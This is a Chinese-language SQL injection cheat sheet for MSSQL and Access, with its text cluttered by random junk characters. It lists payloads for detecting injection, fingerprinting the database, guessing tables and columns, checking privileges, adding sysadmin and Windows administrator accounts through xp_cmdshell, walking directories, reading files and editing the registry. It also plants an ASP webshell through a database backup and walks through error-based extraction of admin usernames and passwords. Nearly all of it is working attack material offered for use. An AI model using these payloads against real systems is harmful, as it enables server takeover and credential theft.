1.判断是否有注入 & }& J% o; ?* I4 Y: |0 y
;and 1=1 ' {8 ~+ _" e; F3 |$ Q
;and 1=2 % y1 F: T' X- k
0 K. d1 }3 F/ n$ {8 e/ Q" E2.初步判断是否是mssql
# B* S. L9 M( Z0 t;and user>0
7 X9 t; y2 N4 Q$ r4 F# \! u
d) |7 T4 L/ c* {. ]4 o* k3.判断数据库系统
- J9 _; B5 _! h: s+ A;and (select count(*) from sysobjects)>0 mssql
( j$ I1 t4 z1 p: z7 E;and (select count(*) from msysobjects)>0 access
. C% x* D G0 v7 X5 X* m% Y) b H2 Q% o
4.注入参数是字符
0 Y2 V- N$ Y1 A8 e2 o'and [查询条件] and ''=' u x. ~% m7 P
5 d/ l" d# v% I8 z# O3 y5.搜索时没过滤参数的
7 p& Q9 G% p$ }( b* R. g'and [查询条件] and '%25'='
Q1 d7 E5 K$ w6 g7 ? K; d4 O- f. j
6.猜数表名
/ s3 b! Q+ p g; ]3 ^- ^, u;and (select Count(*) from [表名])>0
7 A& O7 m( [9 S" U
1 v0 m% @# M+ ^ |7.猜字段 : P8 E7 C0 @- j! @, S
;and (select Count(字段名) from 表名)>0 / A* C. i; b& y( [ ]
8 W' }5 ]4 d8 z
8.猜字段中记录长度 9 q' W0 W, N/ s( ]9 ]8 D
;and (select top 1 len(字段名) from 表名)>0 + f4 G4 K9 ~ M0 v6 L1 a. o1 L
1 l" y( }3 B& _' A
9.(1)猜字段的ascii值(access) : Q9 I m' _6 W4 t' x
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
& F- Q( e+ O8 x7 M0 H' Q/ \6 b2 [1 R6 Z' n& D( W$ h5 _
(2)猜字段的ascii值(mssql)
! V7 E3 l+ [0 Q7 y+ g" W1 X/ a;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 . b7 k# G; i# {" r$ @0 e$ g
; y) R( i# n! ^& k10.测试权限结构(mssql) 4 x. x& V K9 G' d$ ^% s" F5 ^
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 I, R9 X) D% t. H6 j b4 S;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
! o: M6 o3 U+ I% A9 I3 O& g;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
/ c# u, k: ]5 E/ f& m;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
7 }4 l e: C/ U* ?- l8 d! s( ];and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
1 E$ k" e) {+ K# ^' x# ]; a9 ^;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ( x: z( @5 V- U- J& G' {. g6 J% L
;and 1=(select IS_MEMBER('db_owner'));--
& A) c9 ^* V9 @2 c' D. D P3 G' r; b a
11.添加mssql和系统的帐户 % t$ Y) R' l2 }$ z5 f6 i7 \
;exec master.dbo.sp_addlogin username;--
3 D" V6 f+ x7 L;exec master.dbo.sp_password null,username,password;-- @8 b8 J+ n0 u% }% R: q
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
2 U- D: ~, A; B$ k;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- * K( y9 S0 p U5 s: A
;exec master.dbo.xp_cmdshell 'net user username password /add';-- * d, d+ z! @. ]7 [; i4 W
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
) O, [. h7 l# L2 g
+ ]4 C7 f; j' p: h' z" q1 K+ F12.(1)遍历目录
+ f3 e5 o9 u1 s;create table dirs(paths varchar(100), id int) 7 @1 e2 k* C4 n$ ?
;insert dirs exec master.dbo.xp_dirtree 'c:\'
' l/ S9 Q3 g2 m* Y;and (select top 1 paths from dirs)>0 2 X& d, y8 ?0 p* R' B
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $ a4 c- T6 \4 L/ x( S& Z" P: k! v
( F: n& n+ ?8 _; s, z7 h(2)遍历目录 + d* a, V/ s! p4 y8 {! t6 D
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
/ `# z" s) @7 [1 c;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& o1 ]. f8 O5 o( R;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 2 j3 O7 O8 B; V% F0 C) @2 I7 ~
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 1 e! m( K. e# h- ?: I
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
- w+ [1 H" _5 B$ l/ N7 u6 C" l% w( c9 \+ d; d0 d& n
13.mssql中的存储过程 * k) o+ v. T7 D3 x3 ?8 m& [: k
xp_regenumvalues 注册表根键, 子键
& z% G, j: p0 a& j;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ) {9 I2 z. D9 n
xp_regread 根键,子键,键值名 $ ]4 P; D0 }0 H8 [+ Z
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
2 U- I) E2 \7 {5 ?* u& v( b( F8 yxp_regwrite 根键,子键, 值名, 值类型, 值 . l" A; G6 ?5 k6 U4 N1 }6 d5 H
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 9 r+ q5 [3 Q1 h* R8 g5 c9 g
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
& V5 v2 Z% u1 S7 X! ~$ R, Qxp_regdeletevalue 根键,子键,值名
4 T7 K7 c8 \% E0 Hexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
7 s/ W0 Y7 @1 N/ u* l5 s4 sxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
, @' U) {% ], e4 Z$ y4 O u* v) o$ |" l1 X
14.mssql的backup创建webshell
9 w4 q4 O. h, { y! `# F2 {use model
. Y4 a4 N: R, q% W: pcreate table cmd(str image);
" g. k( J" j/ q, n3 Y3 rinsert into cmd(str) values ('<% Dim oScript %>');
& O1 m6 e8 O+ b+ m; C, I' w* h5 G; Kbackup database model to disk='c:\l.asp'; 7 z1 |9 y6 m1 |' v8 A
8 O: F2 y& ~0 D15.mssql内置函数
# L& c$ T' {2 I0 F;and (select @@version)>0 获得Windows的版本号 " p. Z& Q* C8 u1 Z4 a
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 7 l+ B) O/ f6 H8 O0 }$ K. l
;and (select user_name())>0 爆当前系统的连接用户 E7 }6 F2 J" U! e
;and (select db_name())>0 得到当前连接的数据库 3 \% D9 N$ o' K& K- e6 U
4 E0 q) R ?. d5 G' K2 c
6 n+ I7 l! }. T! n# ]) J1 {
% P0 \/ v& d% |MSSQL手注暴库0 a3 L# L* A& g4 B7 h/ |0 D3 T, i; x
1 w( z! _* [" S1 O5 r7 U4 Q
1.暴出当前表名和列名
& K' R& d. F/ j& U& _* }在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
9 F# n8 l4 t. J# L
: B% i* _' }! Q第一.爆出所有数据库名0 s& r" t" V& @& S- L6 ^4 p
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
/ `& K* W1 E0 b9 h第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。% r$ S) t" h) L2 X
6 C1 M; e3 s$ _, {! Z
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
6 f6 w7 C1 X. U% o$ ~4 k) }4 o3 }: Y- b5 t, `+ n! d- Z6 n3 F
9 z: b% v# z5 q. W# Q1 w第二.爆出指定库中的所有表名7 T6 s* {5 }( E0 d+ Z
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
3 Y" W9 a) `& \: w8 D E再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
/ N& u1 Q! C: B/ n m: n. G5 R
6 q6 O( ]: s3 B- vand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
* r+ o# {* t7 u$ f \/ [# Kand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--9 T$ r/ Q2 w5 s: `- `
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--/ P$ Y7 |% z! Z( i, z) Y3 v; z$ e
* d$ U( x$ K5 |4.爆出指定表中的所有列名7 x" g9 o: @) k! `6 B. J
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 7 I; ~" ^4 \) a1 ^3 h; W/ D8 }
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'& `) `' O8 n! U( g
0 r2 L8 ^5 H" e4 B9 L. {and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
" f6 U9 L. e o' X' w
% B: D* t1 ~( A: f: e4 c再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
: o4 d9 x; C' \9 J6 V依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。+ b) a3 Q9 h2 g; |
6 h, S4 c: |( u* P
5 [7 H) h0 Q' D" T7 t Z9 Gand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
+ |% _3 Y& B, ?0 B1 i# i3 \" d% q5 D3 K5 t3 w9 R7 M! K9 O& ^
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
[$ \5 d7 u* Z" f h. s8 u
) J! _) [+ @0 g! v* oand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 8 @2 @4 [8 m' b$ S1 S
/ G/ V! o6 e5 b, R# c+ J
1 T7 B& g! V% \6 G5 v& I- b1 H/ ~
5.读取指定表中的数据
2 h/ Y4 l, D \ N
* W x- s! L. f0 I* Uand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
|( \% |# @6 y! o( x" o- ?
& y9 S9 T9 C$ r2 z2 U7 band 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
3 F1 ], q- S" z) N0 O+ o
9 P8 e; ^+ f3 O' |; j n" ?5 Z7 c3 X1 Vand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
9 y( v* Z4 w* R1 o6 f; B% Z! d* s# D) E; w* F' C4 ?0 f
2 j+ n7 u' n. |$ t
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
, S) ]+ {( C+ D; j1 J. ^0 \- j y' d3 C0 X5 x$ l
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)8 _; p# s# `* Z& _! T
% N e. e# L; k h0 v2 x( O8 B2 J
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')-- A+ ^5 |& g* j' v8 V& _
) r- g" d8 Y0 H5 c知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
( t7 [$ g/ M( c. R% |& F+ Y+ e, X8 W |